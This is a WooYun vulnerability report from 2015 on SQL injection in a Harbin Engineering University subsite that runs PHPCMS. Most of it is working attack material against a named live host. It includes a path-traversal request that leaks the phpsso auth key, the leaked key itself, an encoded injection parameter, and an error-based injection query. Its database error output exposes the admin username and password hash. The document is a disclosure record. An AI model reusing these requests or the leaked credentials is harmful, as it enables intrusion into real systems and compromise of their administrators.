漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0128542
漏洞标题：哈尔滨工程大学分站sql注入 可跑所有表
相关厂商：哈尔滨工程大学
漏洞作者： rockjia
提交时间：2015-07-23 12:18
修复时间：2015-07-28 12:20
公开时间：2015-07-28 12:20
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-23： 细节已通知厂商并且等待厂商处理中
2015-07-28： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
哈尔滨工程大学分站sql注入 可跑所有表
详细说明：
哈尔滨工程大学分站sql注入 本地中转可跑所有表
http://heusei.hrbeu.edu.cn/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
XVkSGMpIpdrXRd6no48WdeLH4XTcIsEN
http://heusei.hrbeu.edu.cn/api.php?op=phpsso&code=5505UlYACVIBAgFSVAICXQ9WAgRQDV8DAwRVBwACWhFbXQ9fFUlXDl5VWAxCQFkACxUTAFtRTkEAXgBUF0MIRVRADg9OQ1wOVFFFQgdaRQpCGhlIGVYJXAZTER9LEFwJV1EVQk5DXA5UUUVCTGZ1KHNxZ0FRXBVGDFwGQ0MAVgtRUxVKVkgLUR1HQgcWW1EJUx4DGQZUSkIEQRZADBFdSQJKU1FPEH8wfn8RFF1qUQBbW11BWVwLWxESVRtSShBFVEAOD0ZZVwReQFwDEFxfCmlBUAlQWAccEVMHWwYQGQlbXwgWRgAVUxgeVw4LWkJMRFNdBR0FTxhXG0xPQwVLCl8SCAwAX0sPUEZYDQpqQwdeV14AG0EHUAlXFhcEEVYQQhIDG0ZIEAMYEQ
MySQL Query : SELECT * FROM `heusei`.`v9_member` WHERE `phpssouid` = '' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM v9_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' LIMIT 1
MySQL Error : Duplicate entry '#admin:8a5a162e37c55d1b7db5e553b930090c#1' for key 'group_key'
MySQL Errno : 1062
Message : Duplicate entry '#admin:8a5a162e37c55d1b7db5e553b930090c#1' for key 'group_key'
Need Help?
漏洞证明：
哈尔滨工程大学分站sql注入 本地中转可跑所有表
http://heusei.hrbeu.edu.cn/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
XVkSGMpIpdrXRd6no48WdeLH4XTcIsEN
http://heusei.hrbeu.edu.cn/api.php?op=phpsso&code=5505UlYACVIBAgFSVAICXQ9WAgRQDV8DAwRVBwACWhFbXQ9fFUlXDl5VWAxCQFkACxUTAFtRTkEAXgBUF0MIRVRADg9OQ1wOVFFFQgdaRQpCGhlIGVYJXAZTER9LEFwJV1EVQk5DXA5UUUVCTGZ1KHNxZ0FRXBVGDFwGQ0MAVgtRUxVKVkgLUR1HQgcWW1EJUx4DGQZUSkIEQRZADBFdSQJKU1FPEH8wfn8RFF1qUQBbW11BWVwLWxESVRtSShBFVEAOD0ZZVwReQFwDEFxfCmlBUAlQWAccEVMHWwYQGQlbXwgWRgAVUxgeVw4LWkJMRFNdBR0FTxhXG0xPQwVLCl8SCAwAX0sPUEZYDQpqQwdeV14AG0EHUAlXFhcEEVYQQhIDG0ZIEAMYEQ
MySQL Query : SELECT * FROM `heusei`.`v9_member` WHERE `phpssouid` = '' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM v9_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' LIMIT 1
MySQL Error : Duplicate entry '#admin:8a5a162e37c55d1b7db5e553b930090c#1' for key 'group_key'
MySQL Errno : 1062
Message : Duplicate entry '#admin:8a5a162e37c55d1b7db5e553b930090c#1' for key 'group_key'
Need Help?
修复方案：
修改key
版权声明：转载请注明来源 rockjia@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-07-28 12:20
厂商回复：
最新状态：
暂无